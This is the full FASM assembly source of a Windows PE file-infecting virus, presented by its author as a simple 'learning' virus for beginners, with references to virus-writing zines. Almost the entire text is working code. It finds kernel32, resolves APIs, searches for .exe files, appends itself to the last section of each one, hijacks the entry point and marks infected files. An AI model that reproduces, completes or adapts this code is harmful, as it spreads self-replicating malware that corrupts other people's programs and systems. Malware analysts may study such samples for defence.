Most simple learning pevirus    [by BlueOwl]

  


; Most simple learning pevirus by BlueOwl
; ***************************************
;
;  What is this virus for?
;  ***********************
;
;  I made this virus because i  wanted to  make the most  simple to  understand
;  and straightforward  virus  possible  for beginners.  It  does  not  contain
;  alot of comment(block)s,  but  instead  I  tried  to  minimize them.  When I
;  first  started,  i could  not find  a  simple,  straightforward,  compatible
;  virus  for  windows  to  learn  off and expirement on. I created this virus,
;  now about  a year  later,  for  this  purpose. It has been optimized towards
;  read- and understandability, *not*  for speed and size, as those four do not
;  go hand in hand.
;
;  Format
;  ******
;
;  I coded this piece in the following way (just to keep things simple):
;  .macro - to be able to call api functions as normal
;  .equates - equates to make the code more comprehensible
;  .code - the main code of the virus
;  .data - the data used by the virus
;  .data? - undefined data used by the virus (to store things in)
;  .host - simple address the virus returns to as if it was the host
;
;  At the end of this document are references, which you can use if you do not
;  understand something about the way something is done here. Use them!
;
;  Last words
;  **********
;
; If you have a question you cannot resolve on your own, or have something to
; say to me please mail me at xblueowl at hotmail.com. :)
;
;  Thanks DiA for betareading. :)

; Assemble with FASM (I used 1.54) from http://www.flatassembler.net.

include '%fasminc%/win32ax.inc'

; .macro

macro wcall proc,[arg]		        ; wcall procedure (indirect) (modified FASM invoke macro)
 { common			        ; a macro for calling windows apis ;)
    if ~ arg eq
     stdcall [ebp+proc],arg
    else
     call [ebp+proc]
    end if }

; .equates

	        ; simple equates
		virus_size		equ (virus_end-virus_start)
		sizeof_searchfile	equ 314d
		filesize_variable	equ 32d
		program_name		equ 44d
		program_original_attributes equ 0d
		minimum_program_size	equ 1024d
		mzheader_size_variable	equ 60d
		default_section_size	equ 40d
		api_names		equ 32d
		api_ordinals		equ 36d
		api_rvas		equ 28d

	        ; peheader (offsets)                    ** Reference 1
		section_count		equ 6d
		program_entrypoint	equ 40d
		imagebase		equ 52d
		win32_version		equ 76d
		imagesize		equ 80d
		directory_entrys	equ 116d
		default_optionalheader_size equ 120d
		exporttable_rva 	equ 120d

	        ; sectionheader (offsets)
		section_virtual_size	equ 8d
		section_rva		equ 12d
		section_physical_size	equ 16d
		section_offset		equ 20d
		section_flags		equ 36d
		flags_read_write_execute equ 0A0000020h

; .code

virus_start:	pop	ebx		        ; ebx = somewhere in k32
		push	ebx

		call	get_delta
get_delta:	pop	ebp
		sub	ebp, get_delta

		and	ebx, 0ffff0000h         ; remove all the lower bits
find_k32:	cmp	word [ebx], "MZ"
		jz	k32_found
		sub	ebx, 000010000h         ; next possible k32 place
		jmp	find_k32
k32_found:	mov	edx, [ebx+mzheader_size_variable]
		add	edx, ebx
		cmp	dword [edx], "PE"
		jnz	find_k32

		mov	edx, [edx+exporttable_rva]
		add	edx, ebx	        ; edx = export table va
		mov	esi, [edx+api_names]
		add	esi, ebx	        ; esi = va to function names
		sub	ecx, ecx	        ; ecx = 0
find_GetProcAddress:			        ; GetProcAddress -> ** Reference 2
		inc	ecx
		lodsd			        ; eax = address to function name
		add	eax, ebx
		cmp	dword [eax], "GetP"
		jnz	find_GetProcAddress
		cmp	dword [eax+4], "rocA"
		jnz	find_GetProcAddress
		cmp	dword [eax+8], "ddre"
		jnz	find_GetProcAddress

		mov	esi, [edx+api_ordinals]
		add	esi, ebx
		movzx	ecx, word [esi+ecx*2]   ; ecx = name ordinal (movzx -> Reference 0)
		dec	ecx

		mov	esi, [edx+api_rvas]
		add	esi, ebx
		mov	edx, [esi+ecx*4]
		add	edx, ebx	        ; edi = address of GetProcAddress
		mov     [ebp+GetProcAddress], edx

		lea	esi, [ebp+kernel32_apis]
		lea	edi, [ebp+kernel32_hndls]
		mov	ecx, 11 	        ; 11 apis

load_apis:	push	esi edi ecx ebx         ; these apis must be saved

		wcall	GetProcAddress, ebx,esi ; call GetProcAddress

		pop	ebx ecx edi esi
		stosd			        ; save handle

find_end_of_api:lodsb			        ; load a byte
		cmp	al, 0		        ; is this byte a zero (end of api)
		jnz	find_end_of_api
		loop	load_apis

apis_loaded:	wcall	GlobalAlloc, GMEM_FIXED,sizeof_searchfile
		cmp	eax, NULL
		jz	globalalloc_failed
		mov     [ebp+findfile_mem], eax

		lea	eax, [ebp+exe_mask]
		wcall	FindFirstFile, eax,[ebp+findfile_mem]
		cmp	eax, INVALID_HANDLE_VALUE
		je	find_files_failed
		mov     [ebp+findfile_handle], eax

more_hosts:	push    [ebp+original_entrypoint]
		call	infect_file
		pop     [ebp+original_entrypoint]

		wcall	FindNextFile, [ebp+findfile_handle],[ebp+findfile_mem]
		cmp	eax, NULL
		jnz	more_hosts

		wcall	FindClose, [ebp+findfile_handle]

find_files_failed:
		wcall	GlobalFree, [ebp+findfile_mem]

globalalloc_failed:
		jmp     [ebp+original_entrypoint]


infect_file:	mov	edi, [ebp+findfile_mem]
		mov	eax, [edi+filesize_variable]    ; eax = size of program
		cmp	eax, minimum_program_size
		jb	program_not_valid
		add	eax, virus_size 	        ; eax = calculated new size of program
		mov     [ebp+program_newsize], eax

		lea	esi, [edi+program_name]

		wcall	SetFileAttributes,esi,FILE_ATTRIBUTE_NORMAL
		cmp	eax, NULL
		jz	program_not_valid

		wcall	CreateFile, esi,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,\
			OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
		cmp	eax, INVALID_HANDLE_VALUE
		jz	error_open_program
		mov     [ebp+file_handle], eax

		wcall	GlobalAlloc, GMEM_FIXED,[ebp+program_newsize] ; make a buffer ready
		cmp	eax, NULL
		jz	error_load_buffer
		mov     [ebp+mem_handle], eax

		lea	eax, [ebp+nbrw]
		wcall	ReadFile, [ebp+file_handle],[ebp+mem_handle],dword [edi+filesize_variable],eax,NULL
		cmp	eax, NULL
		jz	error_read_program

		wcall	SetFilePointer, [ebp+file_handle],NULL,NULL,FILE_BEGIN
		cmp	eax, 0FFFFFFFFh
		jz	error_read_program

		mov	ebx, [ebp+mem_handle]
		cmp	word [ebx], "MZ"
		jnz	error_invalid_program
		mov	edi, [ebx+mzheader_size_variable]
		add	edi, ebx		        ; edi = peheader
		cmp	dword [edi], "PE"
		jnz	error_invalid_program

		cmp	dword [edi+win32_version], "HOST"     ; infection sign
		jz	error_invalid_program

		mov	dword [edi+win32_version], "HOST"     ; put infection sign

		mov	esi, edi
		movzx	eax, word [edi+section_count]
		dec	eax
		imul	eax, default_section_size
		add	esi, eax
		add	esi, default_optionalheader_size
		mov	edx, [edi+directory_entrys]
		shl	edx, 3
		add	esi, edx		        ; esi = the last section

		mov	eax, [esi+section_rva]
		add	eax, [esi+section_physical_size]
		xchg	eax, [edi+program_entrypoint]   ; save new entry point and get old one
		add	eax, [edi+imagebase]
		mov     [ebp+original_entrypoint], eax

		mov	ecx, virus_size
		add     [esi+section_virtual_size], ecx
		mov	eax, [esi+section_virtual_size]
		add	eax, [esi+section_rva]
		mov     [edi+imagesize], eax		; last imagesize = section rva + virtual size
		mov	eax, [esi+section_physical_size]
		add     [esi+section_physical_size], ecx
		or	dword [esi+section_flags], flags_read_write_execute
		mov	edi, [esi+section_offset]
		add	edi, ebx
		add	edi, eax		        ; edi = ptr to end of last section
		lea	esi, [ebp+virus_start]
		rep	movsb

		lea	eax, [ebp+nbrw]
		wcall	WriteFile, [ebp+file_handle],[ebp+mem_handle],[ebp+program_newsize],eax,NULL

error_invalid_program:
error_read_program:
		wcall	GlobalFree, [ebp+mem_handle]

error_load_buffer:
		wcall	CloseHandle, [ebp+file_handle]

error_open_program:
		mov	edi, [ebp+findfile_mem]
		lea	eax, [edi+program_name]
		wcall	SetFileAttributes,eax,dword [edi+program_original_attributes]

program_not_valid:
		ret


; .data

kernel32_apis:	db      "CloseHandle",0 ; Kernel32.dll Apis
		db      "CreateFileA",0
		db      "FindClose",0
		db      "FindFirstFileA",0
		db      "FindNextFileA",0
		db      "GlobalAlloc",0
		db      "GlobalFree",0
		db      "ReadFile",0
		db      "SetFileAttributesA",0
		db      "SetFilePointer",0
		db      "WriteFile",0

		exe_mask		db "*.exe",0

		original_entrypoint	dd fake_host_addr

; .data?

kernel32_hndls: CloseHandle	dd ?    ; Kernel32.dll ApiHandles
		CreateFile	dd ?
		FindClose	dd ?
		FindFirstFile	dd ?
		FindNextFile	dd ?
		GlobalAlloc	dd ?
		GlobalFree	dd ?
		ReadFile	dd ?
		SetFileAttributes dd ?
		SetFilePointer	dd ?
		WriteFile	dd ?

		GetProcAddress	dd ?    ; GetProcAddress handle

		findfile_mem	dd ?    ; Other handles
		findfile_handle dd ?
		program_newsize dd ?
		file_handle	dd ?
		mem_handle	dd ?

		nbrw		dd ?    ; Number of bytes read/written (for Read/WriteFile)
virus_end:

; .host

fake_host_addr: ret

; *************************************************************************************

; References
;
;   These are some references referenced from within the virus. I supplied some MD5s
;   so you can be sure they are the same if you wish. I hope they are of some use.
;
; #0 About instruction meanings
;
;  - OPCODES.HLP (http://madchat.org/coding; MD5: 0E443216DA2D57CE9E0F593168D70B88)
;
; #1 About the PE Format/offsets
;
;  - VXTASY#1.206 "THE PE-FORMAT" (http://vx.netlux.org)
;  - XINE-5.106: "A short re-view of the PE format"
;                (http://vx.netlux.org or http://www.s0ftpj.org/archive/ikx)
;
; #2 About api functions
;
;  - WIN32.HLP (You can find it anywhere, there are multiple versions; Mine:
;               MD5: CCB83A2ED1D620209C1B7B688C79EE0A / 75AC98220F8C520430CBF302032C8426)
;
;
; BlueOwl 22 august, 2004